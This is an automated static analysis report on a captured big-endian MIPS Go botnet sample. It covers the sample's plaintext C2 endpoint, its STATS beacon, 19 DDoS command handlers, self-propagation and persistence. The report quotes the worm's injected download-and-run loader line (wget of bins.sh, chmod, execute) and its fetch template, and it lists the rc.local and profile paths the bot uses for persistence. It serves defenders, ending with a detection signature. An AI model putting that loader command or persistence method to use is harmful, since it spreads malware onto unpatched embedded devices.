Honeypot capture

Mips ELF 32-bit MSB executable ddos-bot (9200aac4a356)

C2 verifiedProtocol documented

A honeypot sensor network captured a 6,619,351-byte ELF binary built for big-endian MIPS, and an automated pipeline built on Binary Ninja recovered its indicators without running it. The findings read the three build architectures, led by mips, mipsbe and mips32, as the signature of a campaign aimed at routers, cameras and other embedded devices, and note that such hardware is rarely patched or monitored and stays online continuously. The pipeline read the binary only as data, did not execute it, and did not contact or resolve any recovered endpoint. Every indicator is anchored to a file offset and corroborated across strings and rabin2.

The pipeline recovered one command-and-control endpoint, the channel an infected machine uses to reach its operator, at the single host 185.226.93.242 on TCP port 9111. The channel carries newline-delimited ASCII lines in both directions.

The findings classify the sample as a DDoS bot and a worm, meaning it copies itself onward with no user action. The Go module path compiled into the binary is the author’s own, Botnet/Bot, built with go1.25.0 for GOARCH=mips. That name matches no recognised commodity family, so the findings leave the family null.

The host and port globals

The endpoint sits in the binary as two plaintext Go strings, a host global at 0x64b608 and a port global at 0x64b610, which Binary Ninja resolves as:

(two big-endian Go string headers: ptr=0x0047caa8 len=0x0e, ptr=0x003fc945 len=0x04)

which dereference to ('185.226.93.242') at 0x47caa8 and ('9111') at 0x3fc945. main.main joins them with the ':' at 0x47ab50:

0x2f3930 li $v0, 0x47ab50 / 0x2f3938 sw $v0, 0x10($sp) / 0x2f394c jal 0x967cc (runtime.concatstring3: host + ’:’ + port)

and hands the result to net.Dial at 0x2f3978. The port global has exactly one reader — total 1: {from 0x2f3908, function_start 0x2f381c}, main.main itself. A second decompiler backend resolved the same addresses independently, and the findings treat that agreement as raising confidence that the endpoint is real; the profile records the plaintext TCP C2 row at confidence 0.97.

The controller in five other captures

185.226.93.242 appears in five other analysed captures, and the findings read one controller reused across separate captures as tying them to a single operator’s infrastructure; the link rests on the shared address alone, because those five captures are not described here.

The beacon format and the unreached AES code

The beacon uses a fixed format, STATS|%d|%d|%d|%d|%s\n at 0x40242f. main.main.func2 sends STATS| every two seconds, on a time.Sleep of 2,000,000,000 ns, followed by an internal counter, CPU utilisation sampled from /proc/stat via main.getCPUSample, two memory figures parsed from the /proc/meminfo keys MemTotal:, MemFree:, Buffers: and Cached: via main.getMemInfo, and the literal architecture tag mips.

The channel carries no TLS and no application-layer encryption, and the profile records the obfuscation transform as none. The binary does carry AES code, but a two-level caller walk from both AES primitives terminates inside crypto/internal/fips140/aes*, and a sweep of the 192 bot functions reaches no AES at all; crypto/tls and base64 are reached only by the *Flood attack workers, outbound to victims, never by the controller socket. The pipeline documented the wire format well enough to decode it, and four of the four test vectors replay through the recovered dissector.

BehaviourOffsetATT&CKConfidence (0 to 1, as recorded in the profile)
Plaintext TCP C2 to 185.226.93.242 on port 91110x2f3978T1071.001, T15710.97
STATS beacon every two seconds0x40242fT1071.0010.93
Host fingerprint (/proc/stat, /proc/meminfo)0x3fdef1T10820.93
Volumetric flood modules0x2f0490T14980.90
Application-layer flood modules0x252270T14990.90
Shell-command injection0x40e354T1059.0040.90
Second-stage fetch template0x40089fT11050.85

The 19-command dispatcher

The dispatcher reads newline-delimited lines and selects a handler by the first word. Ten of the nineteen handlers are volumetric: udp, tcp, std, hex, ovh, pps, ppsraw, ntp (amplification), game and ping. Nine are application-layer: browser and cloudflare (HTTP/2 browser impersonation), tls, tlsplus, tlsplusbypass, handshake, priv7, fort and voult. The tlsplusbypass module reads its proxy list from the relative path proxy/tlsplusbypass.txt through Botnet/Methods.loadTLSProxies, using os.OpenFile and a bufio.Scanner, at confidence 0.88; that list is a local file read on the infected host.

One part of the grammar remains unconfirmed. The emulator can issue command lines that pass the field-count guards, but the pipeline did not confirm the positional meaning of each command’s numeric arguments, the target, port and duration order.

Self-propagation and persistence

The bot injects a loader into the devices it scans. main.StartScanner generates random public IPv4 addresses via main.generateRandomIP, rejecting private and loopback ranges through main.isPrivateIP, then runs the probe chain in main.exploitDevice, at confidence 0.87. On a device it can reach it harvests credentials over HTTP — main.getCredLeak and main.getAdminCredLeak call net/http.(*Client).Get and pass the response through main.Decode, at confidence 0.85 — and injects the command line wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh. The %s host is supplied at runtime and is not a static constant; that host reads as also filling the second-stage fetch template http://%s/bins.sh.

main.AutoStart establishes persistence by copying the binary to disk under a daemon-like name. It resolves the running image via os.executable and /proc/self/exe, copies it to a writable directory as sysd — a name that imitates a system daemon, T1036, confidence 0.85 — and appends a ./sysd & launch line to six startup files: /etc/rc.local, /etc/rc.d/rc.local, /etc/init.d/boot.local, /root/.bashrc, /etc/profile and one further path withheld here. It probes /usr/bin/, /var/run/ and /data/local/tmp/ as candidate destinations, and creates a test_write file in a candidate directory as a writability probe. Root is the only privilege required, both for writing these files and for the raw-socket flood modules. The pipeline byte-confirmed these host indicators against the sample, but they sat outside the C2 claim set that the second decompiler agreed on.

Indicators beyond the profile

A byte sweep of the sample found 26 network indicators that the curated profile does not list. Routable addresses such as 1.2.1.1 and 119.0.0.0 are among them; the pipeline did not verify them, so they are unconfirmed leads. The sweep also found the placeholder address 1.1.1.1, which falls in a well-known test range that malware commonly carries as a scan or flood-test placeholder.

Detection signature

Egress on TCP port 9111 carrying an ASCII STATS| line that ends in mips is an alertable signature, and defenders can hunt hosts for the sysd drop name and the appended ./sysd & launch lines.

Family
unclassified
First seen
September 30, 2026
Vector
Runs as a ddos-bot/worm; the entry vector is not established by static analysis
Format
6464 KB mips ELF 32-bit MSB executable
VirusTotal
Not on VirusTotal
Tags
ddos-bot · elf · mips · raw_tcp · scanner · worm
Sample
By request. Email [email protected]

SHA-256

  • 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 as captured

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures